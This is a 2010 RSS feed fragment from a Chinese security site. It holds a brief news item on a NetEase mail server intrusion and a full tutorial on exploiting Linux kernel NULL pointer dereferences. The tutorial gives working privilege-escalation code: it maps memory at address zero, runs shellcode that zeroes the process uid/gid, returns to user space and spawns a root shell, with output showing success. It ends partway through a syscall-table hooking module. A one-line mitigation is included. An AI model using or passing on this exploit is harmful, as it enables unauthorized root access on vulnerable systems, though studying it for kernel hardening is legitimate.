/&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6585.html/feed</wfw:commentRss><slash:comments>1</slash:comments><description>7月3日下午消息，今日有大量网友在各大论坛网站爆料称，网易所有的邮箱系统都被入侵。不过，黑客可能无意使邮箱瘫痪，而只是发出留言做了警告。
网友在论坛中反映，网易的 163邮箱、126邮箱、yeah和188邮箱等全都遭遇到了黑客的入侵，邮箱用户的个人信息很可能会泄露。
据网友截取的图片显示，黑客在网易邮箱服务器上留言文本都一个是hack.txt，文档中写着 “hacked by hacker just a joke”，意思是“黑客成功入侵，只是个玩笑。”
据网友分析，黑客该次攻击服务器可能窃取了用户隐私，也可能真的只是一个玩笑，并没有篡改服务器文件。
腾讯科技登录网易邮箱后发现，一直使用正常，未出现故障。截止发稿前，网易公司暂未对该事件做出回应。
下午17时，网易方面向腾讯科技发来声明，称事故是因负责静态页面文件更新工作的员工电脑被入侵，导致ftp账号密码泄露所致。目前，该事件对网易邮箱服务并未造成任何影响。&lt;img src=&quot;http://www1.feedsky.com/t1/395467885/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467885/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467885/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467885/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>163</category><category>业界咨询</category><pubDate>Sat, 03 Jul 2010 21:14:32 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6585.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6585</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6585.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467885/6269921</fs:itemid></item><item><title>Exploit The Linux Kernel NULL Pointer Dereference</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467887/6269921/1/item.html</link><content:encoded>&lt;p&gt;目录：&lt;br /&gt;
1、引言&lt;br /&gt;
2、NULL Pointer是如何引发OOPS的&lt;br /&gt;
3、如何Exploit&lt;br /&gt;
4、攻击实验&lt;br /&gt;
5、NULL Pointer与Selinux的关系&lt;br /&gt;
6、如何防御NULL Pointer漏洞&lt;br /&gt;
7、附录&lt;br /&gt;
&lt;span id=&quot;more-6582&quot;&gt;&lt;/span&gt;Author: wzt&lt;br /&gt;
Home: http://hi.baidu.com/wzt85&lt;br /&gt;
date: 2010/06/13&lt;br /&gt;
Version: 0.3&lt;/p&gt;
&lt;p&gt;1、引言&lt;br /&gt;
在最近一系列的Linux kernel本地溢出漏洞中， 大部分是由于内核引用一个空指针而引发的， 看NULL Pointers的一个示例：&lt;br /&gt;
当内核代码引用一个空指针的时候， 内核打印如下OOPS信息， 并死机：&lt;/p&gt;
&lt;p&gt;Kernel NULL pointer dereference test.&lt;br /&gt;
BUG: unable to handle kernel NULL pointer dereference at virtual address  00000000&lt;br /&gt;
printing eip:&lt;br /&gt;
00000000&lt;br /&gt;
*pde = 00000000&lt;br /&gt;
Oops: 0000 [#5]&lt;br /&gt;
SMP&lt;br /&gt;
Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT  xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables  x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp  floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw  mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache&lt;br /&gt;
CPU:    1&lt;br /&gt;
EIP:    0060:[&amp;lt;00000000&amp;gt;]    Not tainted VLI&lt;br /&gt;
EFLAGS: 00010286   (2.6.18 #34)&lt;br /&gt;
EIP is at _stext+0&amp;#215;3efffd6c/0&amp;#215;3c&lt;br /&gt;
eax: 00000029   ebx: f20c85c0   ecx: 00000046   edx: 00000000&lt;br /&gt;
esi: 004b5ca0   edi: f20c85c3   ebp: f1afd000   esp: f1afdf9c&lt;br /&gt;
ds: 007b   es: 007b   ss: 0068&lt;br /&gt;
Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000)&lt;br /&gt;
Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30  c1003d10&lt;br /&gt;
bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b&lt;br /&gt;
c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000&lt;br /&gt;
Call Trace:&lt;br /&gt;
[&amp;lt;f8a81197&amp;gt;] new_kernel_null_pointer_test+0&amp;#215;69/0&amp;#215;76 [sys]&lt;br /&gt;
[&amp;lt;c1003d10&amp;gt;] syscall_call+0&amp;#215;7/0xb&lt;br /&gt;
Code:  Bad EIP value.&lt;br /&gt;
EIP: [&amp;lt;00000000&amp;gt;] _stext+0&amp;#215;3efffd6c/0&amp;#215;3c SS:ESP 0068:f1afdf9c&lt;/p&gt;
&lt;p&gt;2、NULL Pointer是如何引发OOPS的&lt;/p&gt;
&lt;p&gt;要想exploit这种bug， 就必须先要了解内核是如何处理空指针引用的。&lt;br /&gt;
在程序的执行过程中，因为遇到某种障碍而使CPU无法最终访问到相应的物理内存单元，即无法完成从虚拟地址到物理地址映射的时候，&lt;br /&gt;
CPU 会产生一次缺页异常，从而进行相应的缺页异常处理。 那么都在什么情况下会引发缺页异常呢，我们分别从用户空间和内核空间来看：&lt;/p&gt;
&lt;p&gt;用户空间：&lt;br /&gt;
1、 进程访问本身地址空间&lt;br /&gt;
&amp;#8212;&amp;gt; 访问一个无效的内存地址（如mmap后，又unmap的一块内存）。&lt;br /&gt;
&amp;#8212;&amp;gt; 由于用户堆栈用完导致的越界访问（用户进程堆栈空间已被用完， 又有一次函数调用发生，这时push/pusha指令被写到进程的堆中。&lt;br /&gt;
&amp;#8212;&amp;gt; 访问一个还未曾映射的空间。&lt;br /&gt;
2、进程访问其他进程空间&lt;br /&gt;
3、进程通过非系统调用方式访问内核空间。&lt;/p&gt;
&lt;p&gt;内核空间：&lt;br /&gt;
1、中断程序，不可延迟程序，临界区代码访问用户空间（可能引起休眠）。&lt;br /&gt;
2、内核线程访问访问用户空间。（内核线程不能访问用户空间）。&lt;br /&gt;
3、内核访问用户空间（通过系统调用进入内核，有进程的上下文current)&lt;br /&gt;
&amp;#8212;&amp;gt; 访问当前进程空间。内核写一个只读的内存。&lt;br /&gt;
&amp;#8212;&amp;gt; 访问其他进程空间。通过系统调用的参数传递到内核空间的，但是线性地址不属于当前进程。&lt;br /&gt;
&amp;#8212;&amp;gt; 内核bug或硬件错误访问一个用户空间地址。 如空指针引用bug。&lt;br /&gt;
4、访问内核空间。试图写一个没被映射的内核地址。&lt;/p&gt;
&lt;p&gt;引起缺页异常可以在用户空间和内核空间中触发， 当CPU捕获到这个异常的时候就会引发一次缺页异常中断。由do_page_fault()函数来&lt;br /&gt;
判断和处理这些异常。 我们看下内核是怎么处理引用NULL pointer这个异常的：&lt;/p&gt;
&lt;p&gt;fastcall void __kprobes do_page_fault(struct pt_regs *regs,&lt;br /&gt;
unsigned long error_code)&lt;br /&gt;
{&lt;br /&gt;
struct task_struct *tsk;&lt;br /&gt;
struct mm_struct *mm;&lt;br /&gt;
struct vm_area_struct * vma;&lt;br /&gt;
unsigned long address;&lt;br /&gt;
unsigned long page;&lt;br /&gt;
int write, si_code;&lt;/p&gt;
&lt;p&gt;/* 先通过cr2寄存器得到引发异常的那个线性地址 */&lt;br /&gt;
address = read_cr2();&lt;/p&gt;
&lt;p&gt;tsk = current;&lt;/p&gt;
&lt;p&gt;si_code = SEGV_MAPERR;&lt;/p&gt;
&lt;p&gt;/* 接着判断一下这个线性地址是不是发生于内核空间 */&lt;br /&gt;
if (unlikely(address &amp;gt;= TASK_SIZE)) {&lt;br /&gt;
/* 如果是内核引用了一内核空间中一处无效地址，则通过vmalloc_fault进行修复 */&lt;br /&gt;
if (!(error_code &amp;amp; 0&amp;#215;0000000d) &amp;amp;&amp;amp; vmalloc_fault(address)  &amp;gt;= 0)&lt;br /&gt;
return;&lt;br /&gt;
if (notify_page_fault(DIE_PAGE_FAULT, &amp;#8220;page fault&amp;#8221;, regs, error_code,  14,&lt;br /&gt;
SIGSEGV) == NOTIFY_STOP)&lt;br /&gt;
return;&lt;br /&gt;
/* 如果不是继续跳转到bad_area_nosemaphore继续分析原因 */&lt;br /&gt;
goto bad_area_nosemaphore;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;/* 以下用于处理线性地址处于用户空间的情况， 注意内核和用户程序都有可能引用一个无效的用户地址 */&lt;br /&gt;
if (regs-&amp;gt;eflags &amp;amp; (X86_EFLAGS_IF|VM_MASK))&lt;br /&gt;
local_irq_enable();&lt;/p&gt;
&lt;p&gt;mm = tsk-&amp;gt;mm;&lt;/p&gt;
&lt;p&gt;/* 中断程序，不可延迟程序，临界区代码不能访问用户空间， 跳到bad_area_nosemaphore继续分析原因 */&lt;br /&gt;
if (in_atomic() || !mm)&lt;br /&gt;
goto bad_area_nosemaphore;&lt;/p&gt;
&lt;p&gt;if (!down_read_trylock(&amp;amp;mm-&amp;gt;mmap_sem)) {&lt;br /&gt;
/* 内核访问用户空间, 通过系统调用的参数传递到内核空间的，但是线性地址不属于当前进程。*/&lt;br /&gt;
if ((error_code &amp;amp; 4) == 0 &amp;amp;&amp;amp;&lt;br /&gt;
!search_exception_tables(regs-&amp;gt;eip))&lt;br /&gt;
goto bad_area_nosemaphore;&lt;br /&gt;
down_read(&amp;amp;mm-&amp;gt;mmap_sem);&lt;br /&gt;
}&lt;br /&gt;
bad_area:&lt;br /&gt;
up_read(&amp;amp;mm-&amp;gt;mmap_sem);&lt;/p&gt;
&lt;p&gt;bad_area_nosemaphore:&lt;br /&gt;
/* User mode accesses just cause a SIGSEGV */&lt;br /&gt;
if (error_code &amp;amp; 4) {&lt;br /&gt;
/* 如果是用户进程访问了其他进程的空间，就杀死当前进程 */&lt;br /&gt;
if (is_prefetch(regs, address, error_code))&lt;br /&gt;
return;&lt;/p&gt;
&lt;p&gt;tsk-&amp;gt;thread.cr2 = address;&lt;br /&gt;
/* Kernel addresses are always protection faults */&lt;br /&gt;
tsk-&amp;gt;thread.error_code = error_code | (address &amp;gt;= TASK_SIZE);&lt;br /&gt;
tsk-&amp;gt;thread.trap_no = 14;&lt;br /&gt;
force_sig_info_fault(SIGSEGV, si_code, address, tsk);&lt;br /&gt;
return;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;/* 如果是由于内核自己访问了用户空间的无效地址，则就会引发OOPS，&lt;br /&gt;
if (oops_may_print()) {&lt;br /&gt;
/* 如果这个地址小于PAGE_SIZE, 一般为4096字节，内核就认为这是一次空指针操作， 开始打印OOPS信息，杀死当前进程 */&lt;br /&gt;
if (address &amp;lt; PAGE_SIZE)&lt;br /&gt;
printk(KERN_ALERT &amp;#8220;BUG: unable to handle kernel NULL &amp;#8221;&lt;br /&gt;
&amp;#8220;pointer dereference&amp;#8221;);&lt;br /&gt;
else&lt;br /&gt;
printk(KERN_ALERT &amp;#8220;BUG: unable to handle kernel paging&amp;#8221;&lt;br /&gt;
&amp;#8221; request&amp;#8221;);&lt;br /&gt;
printk(&amp;#8221; at virtual address %08lx\n&amp;#8221;,address);&lt;br /&gt;
printk(KERN_ALERT &amp;#8221; printing eip:\n&amp;#8221;);&lt;br /&gt;
printk(&amp;#8220;%08lx\n&amp;#8221;, regs-&amp;gt;eip);&lt;br /&gt;
}&lt;br /&gt;
page = read_cr3();&lt;br /&gt;
page = ((unsigned long *) __va(page))[address &amp;gt;&amp;gt; 22];&lt;br /&gt;
if (oops_may_print())&lt;br /&gt;
printk(KERN_ALERT &amp;#8220;*pde = %08lx\n&amp;#8221;, page);&lt;/p&gt;
&lt;p&gt;force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;3、如何Exploit&lt;br /&gt;
3-1、攻击原理。&lt;/p&gt;
&lt;p&gt;在前面我们知道了内核是如何处理一个NULL pointer引用的： eip停止在0&amp;#215;0处， 打印OOPS信息，然后死机。 我们也知道对于黑客来讲&lt;br /&gt;
只有在普通权限下能触发的kernel null pointer漏洞才是有用的，可以帮助黑客有机会提升进程权限。OK，  既然发生OOPS的时候eip停留在&lt;br /&gt;
内存0&amp;#215;0地址上，  那么用户进程只要能把shellcode放置在内存0地址上，并且kernel可以去运行用户进程的shellcode而不崩溃，那么就达到了&lt;br /&gt;
提权权限的目的。&lt;/p&gt;
&lt;p&gt;3-2、将代码映射到0地址内存。&lt;br /&gt;
Linux系统提供了一个系统调用mmap， 可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。&lt;br /&gt;
mmap(0&amp;#215;0, 0&amp;#215;1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED |  MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);&lt;br /&gt;
我们看看内核是怎么实现的：&lt;br /&gt;
asmlinkage long sys_mmap2(unsigned long addr, unsigned long len,&lt;br /&gt;
unsigned long prot, unsigned long flags,&lt;br /&gt;
unsigned long fd, unsigned long pgoff)&lt;br /&gt;
{&lt;br /&gt;
int error = -EBADF;&lt;br /&gt;
struct file *file = NULL;&lt;br /&gt;
struct mm_struct *mm = current-&amp;gt;mm;&lt;/p&gt;
&lt;p&gt;flags &amp;amp;= ~(MAP_EXECUTABLE | MAP_DENYWRITE);&lt;br /&gt;
/* 注意到如果没设置MAP_ANONYMOUS属性， 就要根据fd来获得文件file指针，  攻击程序设置了MAP_ANONYMOUS，并把fd,offset都设为0&lt;br /&gt;
来建立一次匿名映射 */&lt;br /&gt;
if (!(flags &amp;amp; MAP_ANONYMOUS)) {&lt;br /&gt;
file = fget(fd);&lt;br /&gt;
if (!file)&lt;br /&gt;
goto out;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;down_write(&amp;amp;mm-&amp;gt;mmap_sem);&lt;br /&gt;
/* do_mmap_pgoff才是映射的主体 */&lt;br /&gt;
error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff);&lt;br /&gt;
up_write(&amp;amp;mm-&amp;gt;mmap_sem);&lt;/p&gt;
&lt;p&gt;if (file)&lt;br /&gt;
fput(file);&lt;br /&gt;
out:&lt;br /&gt;
return error;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;我们从此处只关心建立匿名映射的过程：&lt;br /&gt;
unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,&lt;br /&gt;
unsigned long len, unsigned long prot,&lt;br /&gt;
unsigned long flags, unsigned long pgoff)&lt;br /&gt;
{&lt;br /&gt;
&amp;#8230;&lt;br /&gt;
/* 用来验证和找到一个可以映射参数addr的内存地址 */&lt;br /&gt;
addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot &amp;amp;  PROT_EXEC);&lt;br /&gt;
&amp;#8230;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned  long len,&lt;br /&gt;
unsigned long pgoff, unsigned long flags, int exec)&lt;br /&gt;
{&lt;br /&gt;
&amp;#8230;&lt;br /&gt;
/* 如果没设置MAP_FIXED选项，就要从进程地址1G以上的空间中选取一块未用内存进行映射 */&lt;br /&gt;
if (!(flags &amp;amp; MAP_FIXED)) {&lt;br /&gt;
unsigned long (*get_area)(struct file *, unsigned long, unsigned long,  unsigned long, unsigned long);&lt;/p&gt;
&lt;p&gt;if (exec &amp;amp;&amp;amp; current-&amp;gt;mm-&amp;gt;get_unmapped_exec_area)&lt;br /&gt;
get_area = current-&amp;gt;mm-&amp;gt;get_unmapped_exec_area;&lt;br /&gt;
else&lt;br /&gt;
get_area = current-&amp;gt;mm-&amp;gt;get_unmapped_area;&lt;/p&gt;
&lt;p&gt;if (file &amp;amp;&amp;amp; file-&amp;gt;f_op &amp;amp;&amp;amp;  file-&amp;gt;f_op-&amp;gt;get_unmapped_area)&lt;br /&gt;
get_area = file-&amp;gt;f_op-&amp;gt;get_unmapped_area;&lt;br /&gt;
addr = get_area(file, addr, len, pgoff, flags);&lt;br /&gt;
if (IS_ERR_VALUE(addr))&lt;br /&gt;
return addr;&lt;br /&gt;
}&lt;br /&gt;
&amp;#8230;&lt;br /&gt;
}&lt;br /&gt;
所以通过以上对内核代码的分析，我们可以用MAP_ANONYMOUS和MAP_FIXED参数来把用户代码映射到0内存处。&lt;/p&gt;
&lt;p&gt;3-3、内核为什么可以运行用户空间映射来的代码&lt;/p&gt;
&lt;p&gt;0地址上的代码是由用户自己通过mmap映射的， 当用户进程去触发这个kernel  bug的时候，是通过系统调用进入内核空间，内核通过进程上下文current&lt;br /&gt;
代表进程继续执行， 当eip执行到了一个0&amp;#215;0地址时，它开始执行用户空间映射过来的代码， 由于有进程上下文，又是在内核态， 所以可以修改当前&lt;br /&gt;
进程的任何信息包括内核其他代码。&lt;/p&gt;
&lt;p&gt;3-4、如何写shellcode&lt;br /&gt;
我们最主要的目的是当内核引用一个NULL Pointer的时候去执行我们的shellcode,  此时是内核来执行shellcode,  所以shellcode可以修改当前&lt;br /&gt;
进程current的uid, gid字段使其变为0， 从而使当前进程获得root权限，然后在系统调用完成返回用户空间的时候执行一个bash,  来获得可爱的#字符。&lt;br /&gt;
在用mmap完成映射的时候，要将shellcode放置在内存0&amp;#215;0处：&lt;br /&gt;
*(char *)0 = &amp;#8216;\x90&amp;#8242;;&lt;br /&gt;
*(char *)1 = &amp;#8216;\xe9&amp;#8242;;&lt;br /&gt;
*(unsigned long *)2 = (unsigned long)&amp;amp;kernel_code &amp;#8211; 6;&lt;/p&gt;
&lt;p&gt;即为：NOP+JMP+KERNEL_CODE。 *(unsigned long *)2为什么要设置为kernel_code &amp;#8211; 6呢？&lt;br /&gt;
jmp指令后面跟的是偏移地址， 为kernel_code减去jmp指令的下一条指令的地址。 由于是从0&amp;#215;0地址开始算偏移的nop,  jmp本身各占一个字节，在加上&lt;br /&gt;
偏移地址占用的4个字节， 1+1+4 = 6。&lt;br /&gt;
kernel_code才是真正的shellcode, 我们的目的是修改current的uid,gid为0，  所以可以在获得current指针后，暴力搜索current结构，匹配&lt;br /&gt;
用户进程的uid和gid，发现后将其改为0，即可。&lt;/p&gt;
&lt;p&gt;struct task_struct {&lt;br /&gt;
……&lt;br /&gt;
/* process credentials */&lt;br /&gt;
uid_t uid,euid,suid,fsuid;&lt;br /&gt;
gid_t gid,egid,sgid,fsgid;&lt;br /&gt;
……&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;void kernel_code()&lt;br /&gt;
{&lt;br /&gt;
int i;&lt;br /&gt;
uint *p = get_current(); // 获得当前进程的current指针。&lt;/p&gt;
&lt;p&gt;for (i = 0; i &amp;lt; 1024-13; i++) {&lt;br /&gt;
/*  暴力搜索uid, euid,suid,fsuid, gid, egid, sgid,fsgid */&lt;br /&gt;
if (p[0] == uid &amp;amp;&amp;amp; p[1] == uid &amp;amp;&amp;amp; p[2] == uid &amp;amp;&amp;amp;  p[3] == uid &amp;amp;&amp;amp; p[4] == gid &amp;amp;&amp;amp; p[5] == gid &amp;amp;&amp;amp;  p[6] == gid &amp;amp;&amp;amp;&lt;br /&gt;
p[7] == gid) {&lt;br /&gt;
p[0] = p[1] = p[2] = p[3] = 0;&lt;br /&gt;
p[4] = p[5] = p[6] = p[7] = 0;&lt;br /&gt;
p = (uint *) ((char *)(p + &lt;img src='http://hackeye.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /&gt; + sizeof(void *));&lt;br /&gt;
p[0] = p[1] = p[2] = ~0;&lt;br /&gt;
break;&lt;br /&gt;
}&lt;br /&gt;
p++;&lt;br /&gt;
}&lt;br /&gt;
// 重新更新堆栈中寄存器值。 替内核执行iret指令， 结束系统调用返回用户空间。&lt;br /&gt;
exit_kernel();&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;// 获得当前内核的current指针, 跟内核的实现方式一样&lt;br /&gt;
static inline __attribute__((always_inline)) void *get_current()&lt;br /&gt;
{&lt;br /&gt;
unsigned long curr;&lt;br /&gt;
__asm__ __volatile__ (&lt;br /&gt;
&amp;#8220;movl %%esp, %%eax ;&amp;#8221;&lt;br /&gt;
&amp;#8220;andl %1, %%eax ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl (%%eax), %0&amp;#8243;&lt;br /&gt;
: &amp;#8220;=r&amp;#8221; (curr)&lt;br /&gt;
: &amp;#8220;i&amp;#8221; (~8191)&lt;br /&gt;
);&lt;br /&gt;
return (void *) curr;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;// 当发生系统调用中断的时候， 还没进入系统调用服务历程的时候，CPU是自动把user cs, ip, cflags, user ess,  xx压入内核堆栈，&lt;br /&gt;
当执行iret返回用户空间的时候将其pop出来， 使得用户程序得以继续运行。exit_kernel要做的就是修改当前堆栈，重新设置用户空间的&lt;br /&gt;
cs值为用户空间的值， eip值为exit_code, 当内核回到用户空间的时候就会去执行exit_code,  exit_code通常只要执行一个bash即可。&lt;br /&gt;
static inline __attribute__((always_inline)) void exit_kernel()&lt;br /&gt;
{&lt;br /&gt;
__asm__ __volatile__ (&lt;br /&gt;
&amp;#8220;movl %0, 0&amp;#215;10(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %1, 0&amp;#215;0c(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %2, 0&amp;#215;08(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %3, 0&amp;#215;04(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %4, 0&amp;#215;00(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;iret&amp;#8221;&lt;br /&gt;
: : &amp;#8220;i&amp;#8221; (USER_SS), &amp;#8220;r&amp;#8221; (STACK(exit_stack)), &amp;#8220;i&amp;#8221; (USER_FL),&lt;br /&gt;
&amp;#8220;i&amp;#8221; (USER_CS), &amp;#8220;r&amp;#8221; (exit_code)&lt;br /&gt;
);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;注意内核执行完exit_kernel()函数后， 当前进程就以从内核空间切回到用户空间了，  此时进程已经具备uid为0的权限，我们的exploit程序&lt;br /&gt;
可以随意的调用c库中的任何函数了。&lt;br /&gt;
void exit_code()&lt;br /&gt;
{&lt;br /&gt;
if (getuid() != 0) {&lt;br /&gt;
fprintf(stderr, &amp;#8220;failed\n&amp;#8221;);&lt;br /&gt;
exit(-1);&lt;br /&gt;
}&lt;br /&gt;
printf(&amp;#8220;[+] We are root!\n&amp;#8221;);&lt;br /&gt;
execl(&amp;#8220;/bin/sh&amp;#8221;, &amp;#8220;sh&amp;#8221;, &amp;#8220;-i&amp;#8221;, NULL);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;4、实验&lt;br /&gt;
在了解了攻击原理和怎样写shellcode后， 我们开始做实验，验证下我们的想法是不是对的。 这里我故意加载一个有NULL pointer引用的&lt;br /&gt;
内核模块， 它给当前系统增加了一个系统调用， 然后我们的用户程序引用这个系统调用的时候， 就会发生一次OOPS：&lt;/p&gt;
&lt;p&gt;void (*test)(void) = NULL;&lt;/p&gt;
&lt;p&gt;asmlinkage long new_kernel_null_pointer_test(char *buf, int len)&lt;br /&gt;
{&lt;br /&gt;
char *buff = NULL;&lt;br /&gt;
char *p = NULL;&lt;/p&gt;
&lt;p&gt;buff = (char *)kmalloc(len + 1, GFP_KERNEL);&lt;br /&gt;
if (!buff) {&lt;br /&gt;
printk(&amp;#8220;kmalloc failed.\n&amp;#8221;);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;if (copy_from_user(buff, buf, len)) {&lt;br /&gt;
printk(&amp;#8220;copy data from user failed.\n&amp;#8221;);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
buff[len + 1] = &amp;#8216;\0&amp;#8242;;&lt;br /&gt;
printk(&amp;#8220;%d: %s\n&amp;#8221;, strlen(buff), buff);&lt;/p&gt;
&lt;p&gt;printk(&amp;#8220;Kernel NULL pointer dereference test.\n&amp;#8221;);&lt;br /&gt;
test();&lt;/p&gt;
&lt;p&gt;return 1;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;先装入模块&lt;br /&gt;
[root@localhost test]# insmod /root/exploit/module/sys.ko&lt;br /&gt;
然后运行exploit程序：&lt;br /&gt;
int main(void) {&lt;br /&gt;
void *page;&lt;/p&gt;
&lt;p&gt;uid = getuid();&lt;br /&gt;
gid = getgid();&lt;/p&gt;
&lt;p&gt;setresuid(uid, uid, uid);&lt;br /&gt;
setresgid(gid, gid, gid);&lt;/p&gt;
&lt;p&gt;if ((personality(0xffffffff)) != PER_SVR4) {&lt;br /&gt;
if ((page = mmap(0&amp;#215;0, 0&amp;#215;1000, PROT_READ | PROT_WRITE, MAP_FIXED |  MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {&lt;br /&gt;
perror(&amp;#8220;mmap&amp;#8221;);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
} else {&lt;br /&gt;
if (mprotect(0&amp;#215;0, 0&amp;#215;1000, PROT_READ | PROT_WRITE | PROT_EXEC) &amp;lt; 0) {&lt;br /&gt;
perror(&amp;#8220;mprotect&amp;#8221;);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
printf(&amp;#8220;[+] Mmap zero memory ok.\n&amp;#8221;);&lt;/p&gt;
&lt;p&gt;*(char *)0 = &amp;#8216;\x90&amp;#8242;;&lt;br /&gt;
*(char *)1 = &amp;#8216;\xe9&amp;#8242;;&lt;br /&gt;
*(unsigned long *)2 = (unsigned long)&amp;amp;kernel_code &amp;#8211; 6;&lt;/p&gt;
&lt;p&gt;new_kernel_null_pointer_test(&amp;#8220;abcd&amp;#8221;, 4);&lt;br /&gt;
}&lt;br /&gt;
[wzt@localhost ~]$./exp&lt;br /&gt;
[+] Mmap zero memory ok.&lt;br /&gt;
[+] We are root!&lt;br /&gt;
sh-3.2#&lt;br /&gt;
看到可爱的#号了吧， 我们成功了！&lt;/p&gt;
&lt;p&gt;5、NULL Pointer与Selinux的关系&lt;br /&gt;
略过&lt;/p&gt;
&lt;p&gt;6、如何防御Kernel NULL Pointer 0day攻击&lt;br /&gt;
/proc/sys/vm/mmap_min_addr设置为大于4096的值或者关闭selinux.&lt;/p&gt;
&lt;p&gt;7. 附录&lt;br /&gt;
7-1. hook examle&lt;br /&gt;
#include &amp;lt;linux/init.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/module.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/version.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/kernel.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/spinlock.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/smp_lock.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/fs.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/file.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/dirent.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/net.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/tty.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/tty_driver.h&amp;gt;&lt;br /&gt;
#include &amp;lt;net/sock.h&amp;gt;&lt;br /&gt;
#include &amp;lt;asm/uaccess.h&amp;gt;&lt;br /&gt;
#include &amp;lt;asm/unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;asm/siginfo.h&amp;gt;&lt;/p&gt;
&lt;p&gt;#include &amp;#8220;hook.h&amp;#8221;&lt;/p&gt;
&lt;p&gt;unsigned int system_call_addr = 0;&lt;br /&gt;
unsigned int sys_call_table_addr = 0;&lt;br /&gt;
spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;&lt;/p&gt;
&lt;p&gt;asmlinkage int (*orig_printk)(const char *fmt, &amp;#8230;);&lt;br /&gt;
void (*test)(void) = NULL;&lt;/p&gt;
&lt;p&gt;unsigned int get_sct_addr(void)&lt;br /&gt;
{&lt;br /&gt;
int i = 0, ret = 0;&lt;/p&gt;
&lt;p&gt;for (; i &amp;lt; 500; i++) {&lt;br /&gt;
if ((*(unsigned char*)(system_call_addr + i) == 0xff)&lt;br /&gt;
&amp;amp;&amp;amp; (*(unsigned char *)(system_call_addr + i + 1) == 0&amp;#215;14)&lt;br /&gt;
&amp;amp;&amp;amp; (*(unsigned char *)(system_call_addr + i + 2) == 0&amp;#215;85)) {&lt;br /&gt;
ret = *(unsigned int *)(system_call_addr + i + 3);&lt;br /&gt;
break;&lt;br /&gt;
}&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;return ret;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;asmlinkage long new_kernel_null_pointer_test(char *buf, int len)&lt;br /&gt;
{&lt;br /&gt;
char *buff = NULL;&lt;br /&gt;
